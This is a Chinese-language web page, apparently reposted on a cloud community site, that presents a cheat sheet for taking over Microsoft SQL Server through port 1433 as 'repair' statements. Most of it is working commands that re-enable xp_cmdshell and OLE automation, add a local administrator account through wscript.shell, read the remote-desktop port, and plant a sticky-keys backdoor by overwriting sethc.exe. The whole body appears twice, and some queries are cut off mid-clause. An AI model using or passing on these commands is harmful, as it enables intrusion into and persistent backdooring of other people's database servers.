超全1433的SQL語句修複

來源:互聯網
上載者:User
超全1433的SQL語句修複

  無需登入分離器,利用SQL命令直接恢複xp_cmdshell

  恢複命令:

  dbcc addextendedproc ("sp_oacreate","odsole70.dll")

  dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

  未能找到預存程序'master..xpcmdshell'之解決方案,恢複命令:

  EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  恢複odsole70.dll:

  exec sp_addextendedproc sp_OAMethod,'odsole70.dll'

  exec sp_addextendedproc sp_OACreate,'odsole70.dll'

  如果報“SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問

  解決方案:執行下面的語句

  -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To update the currently
configured value for this feature. RECONFIGURE GO

  開啟cmdshell的SQL語句

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判斷儲存擴充是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and

  返回結果為1就OK

  恢複xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and

  返回結果為1就OK

  否則上傳xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'【c:/winnt/system32/xplog70.dll是檔案路徑,有些伺服器的SQL並不是安裝在C盤,需要用SQLTools查看】

  無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模組。)

  第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程式。)

  恢複方法:查詢分離器串連後,

  第一步執行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  找不到預存程序 sp_addextendedproc

  create procedure sp_addextendedproc @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc')
return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 【網上的代碼是create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL
containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 可是我發現是沒用的,我把時間1996/08/30 20:13去掉就有用了】

  突破xplog70.dll建立使用者

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net user 使用者名稱 密碼 /add','0','true'

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net localgroup administrators 使用者名稱 /add','0','true'

  不想別人拿到伺服器那就去除SA的xp_cmdshell許可權

  use master

  sp_dropextendedproc 'xp_cmdshell'

  恢複sa的許可權

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  提示Error Message:xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)先查看是否存在C盤下是否存在cmd.exe,SQL安裝目錄是否存在odsole70.dll這個檔案,如果這2個都有那就有希望,此案用SQL命令查看終端連接埠及開放情況

  exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber' ①可以建立shift後門,2條指令

  //這條語句將explorer.exe複製為sethc.exe

  declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';

  //這條語句將sethc.exe複製到dllcache目錄下

  declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';

超全1433的SQL語句修複

4小時前

  無需登入分離器,利用SQL命令直接恢複xp_cmdshell

  恢複命令:

  dbcc addextendedproc ("sp_oacreate","odsole70.dll")

  dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

  未能找到預存程序'master..xpcmdshell'之解決方案,恢複命令:

  EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  恢複odsole70.dll:

  exec sp_addextendedproc sp_OAMethod,'odsole70.dll'

  exec sp_addextendedproc sp_OACreate,'odsole70.dll'

  如果報“SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問

  解決方案:執行下面的語句

  -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 1 GO -- To update the currently
configured value for this feature. RECONFIGURE GO

  開啟cmdshell的SQL語句

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  判斷儲存擴充是否存在

  Select count(*) from master.dbo.sysobjects where xtype='X' and

  返回結果為1就OK

  恢複xp_cmdshell

  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and

  返回結果為1就OK

  否則上傳xplog7.0.dll

  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'【c:/winnt/system32/xplog70.dll是檔案路徑,有些伺服器的SQL並不是安裝在C盤,需要用SQLTools查看】

  無法裝載 DLL xpsql70.dll 或該DLL所引用的某一DLL。原因126(找不到指定模組。)

  第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

  第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程式。)

  恢複方法:查詢分離器串連後,

  第一步執行:exec sp_dropextendedproc 'xp_cmdshell'

  第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

  找不到預存程序 sp_addextendedproc

  create procedure sp_addextendedproc @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc')
return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 【網上的代碼是create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner. name of function to call */ @dllname varchar(255)/* name of DLL
containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 可是我發現是沒用的,我把時間1996/08/30 20:13去掉就有用了】

  突破xplog70.dll建立使用者

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net user 使用者名稱 密碼 /add','0','true'

  declare @cmd INT

  exec sp_oacreate 'wscript.shell',@cmd output

  exec sp_oamethod @cmd,'run',null,'net localgroup administrators 使用者名稱 /add','0','true'

  不想別人拿到伺服器那就去除SA的xp_cmdshell許可權

  use master

  sp_dropextendedproc 'xp_cmdshell'

  恢複sa的許可權

  sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

  提示Error Message:xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)先查看是否存在C盤下是否存在cmd.exe,SQL安裝目錄是否存在odsole70.dll這個檔案,如果這2個都有那就有希望,此案用SQL命令查看終端連接埠及開放情況

  exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp','PortNumber' ①可以建立shift後門,2條指令

  //這條語句將explorer.exe複製為sethc.exe

  declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:/windows/explorer.exe','c:/windows/system32/sethc.exe';

  //這條語句將sethc.exe複製到dllcache目錄下

  declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:/windows/system32/sethc.exe','c:/windows/system32/dllcache/sethc.exe';

鐵觀音-廠家直銷

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.